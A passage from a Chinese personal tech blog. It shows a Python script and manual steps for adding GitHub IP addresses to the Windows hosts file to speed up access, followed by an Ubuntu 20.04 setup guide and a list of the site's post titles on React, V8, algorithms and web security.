pattern = re.compile('https://www.ipaddress.com/ipv4/[0-9]*.[0-9]*.[0-9]*.[0-9]*')
63
#https://www.ipaddress.com/ipv4/140.82.113.4
64
res = pattern.findall(r3)
65
res = res[0].split("/ipv4/");#切片
66
res3 = res[1];#获取到ip地址
67
res3 = res3+" github.global.ssl.fastly.net"
68
print(res3)
69

70
#3.写入hosts文件
71
f=open("C:\Windows\System32\drivers\etc\hosts","a")
72
f.write(res1+"\n");
73
f.write(res2+"\n");
74
f.write(res3+"\n");
75
f.close();
76

77
#4.刷新DNS缓存
78
os.system("ipconfig /flushdns")

展开收起

下面是原本需要的操作。上面的操作是基于下面的理论的。

1. 获取 GitHub 官方 CDN 地址#

链接：https://www.ipaddress.com/

打开后界面：

image-20210411155236706

2. 进入后查询这三个链接的 DNS 解析地址，并记录下，后面有用#

①：github.com

②：assets-cdn.github.com

③：github.global.ssl.fastly.net

分别输入上面是三个地址，以 github.com 为例

image-20210411155538104

3. 修改系统 Hosts 文件#

打开系统 hosts 文件(需管理员权限)。路径：C:\Windows\System32\drivers\etc

image-20210411155445551

在末尾添加三行记录并保存。(需管理员权限，注意 IP 地址与域名间需留有空格)

image-20210411155345178

4. 刷新系统 DNS 缓存#

Windows+X 打开系统命令行（管理员身份）或 powershell

运行

1
 ipconfig /flushdns

手动刷新系统 DNS 缓存。

到这里所有工作完毕，可以直接访问了，发现访问速度很快！

Ubuntu20.04 简单上手及安装软件

Tue, 09 Feb 2021 00:00:00 GMT

下载安装 Ubuntu20.04#

需要先下载一个 VMware。 ubuntu 20.04 下载及安装教程

完成安装正常启动后，以下是一些使用需要注意的步骤，建议按顺序完成。

断网加速安装#

因为如果默认安装在联网状态下会给你装包，都是国外的，所以特别特别慢。断网后很快就能装好，然后你改了 apt 源以后安装各种包就会飞速。

网络配置问题#

20.04 在使用过程中发现会有消失联网图标断网的情况，解决办法

换 apt 源加速#

换 apt 源方法

设置 root 密码#

第一次使用时需要设置 root 用户以及密码(因为普通用户不加 sudo 缺少很多权限，root 相当于管理员有最高权限，进入 root 用户后原本需要加 sudo 的操作可以不用加 sudo)

1
sudo passwd root

image-20210204153207632

设置完毕后，su 后输入密码进入 root 用户

1
su

image-20210204153330334

界面改成中文#

界面中文可以二倍速看这个教学视频：视频地址

然后在以上的基础上添加中文输入法

image-20210206202747167

然后打开浏览器就可以输入中文了

设置屏幕时间#

设置永久不睡眠(学习用比较方便，不然需要反复去解锁)，

image-20210206165705011

安装软件（VScode 为例子）#

下载安装使用 VScode

用火狐进入 vscode 官网进入下载页面，点击.deb 下载

image-20210208221815928

保存文件

image-20210209071246912

下载完成并打开所在文件夹。

image-20210209071317187

image-20210209071428509

输入命令，不同软件就是不同的.deb文件

1
sudo dpkg -i code_1.53.0-1612368357_amd64.deb

安装成功

image-20210209071622767

image-20210209071742129

image-20210209071759683

以上就是 Ubuntu20.04 的简单上手了。

AN的小站

K8s 核心概念图解：从一家汉堡店开始

React常用Hooks

useState：让函数式组件能保存状态#

什么情况下使用state呢？#

useEffect：执行副作用#

为什么需要useEffect#

useEffect方法介绍#

useCallback: 缓存回调函数#

为什么需要useCallback？#

useCallback 方法介绍#

useMemo: 缓存计算的结果#

为什么需要useMemo?#

useMemo方法介绍#

useRef: 在多次渲染之间共享数据#

为什么需要useRef?#

存储可变值#

访问DOM元素#

useRef的用法#

参数#

返回值#

useContext: 定义全局状态#

为什么需要useContext?#

总结#

React为什么有Hooks

Hooks是如何诞生的？#

Hooks最大的好处：逻辑复用#

Hooks的另一大好处：有助于关注分离#

总结#

React是什么？

React的基本概念#

组件#

状态(state和props管理状态)#

JSX语法本质#

JSX 的本质是什么，它和 JS 之间到底是什么关系？#

JSX 语法是如何在 JavaScript 中生效的?#

JSX是如何映射成DOM的#

总结（JSX到真实DOM的流程）#

书单

成长#

金融#

JavaScript的快慢属性

Properties 与 Element#

命名属性的不同存储方式#

结论与启示#

V8如何执行JavaScript代码的

什么是V8#

V8是如何执行JavaScript代码的#

高级代码为什么需要先编译后执行？#

V8是如何执行JavaScript代码的？#

V8-隐藏类和内联缓存IC

什么是隐藏类？#

总结#

什么是内联缓存#

多态和超态#

总结#

如何通过d8深入分析对象

树

102. 二叉树的层序遍历

二叉树的先中后序遍历

先序遍历 根左右#

中序遍历 左根右#

后序遍历 左右根#

树的深度优先和广度优先遍历

深度优先遍历(DFS)#

广度优先遍历(BFS)#

CSRF攻击 - 陌生链接

攻击方式#

如何预防#

浏览器安全-XSS攻击

攻击方式#

XSS攻击种类#

存储性XSS 引入恶意脚本代码#

反射型XSS 放到URL上了#

基于DOM的XSS#

如何阻止XSS攻击#

链表

链表是什么？#

数组VS链表#

如何实现链表#

先序遍历根左右#

中序遍历左根右#

后序遍历左右根#

数组/对象通过原型链调用方法将this指向调用对象#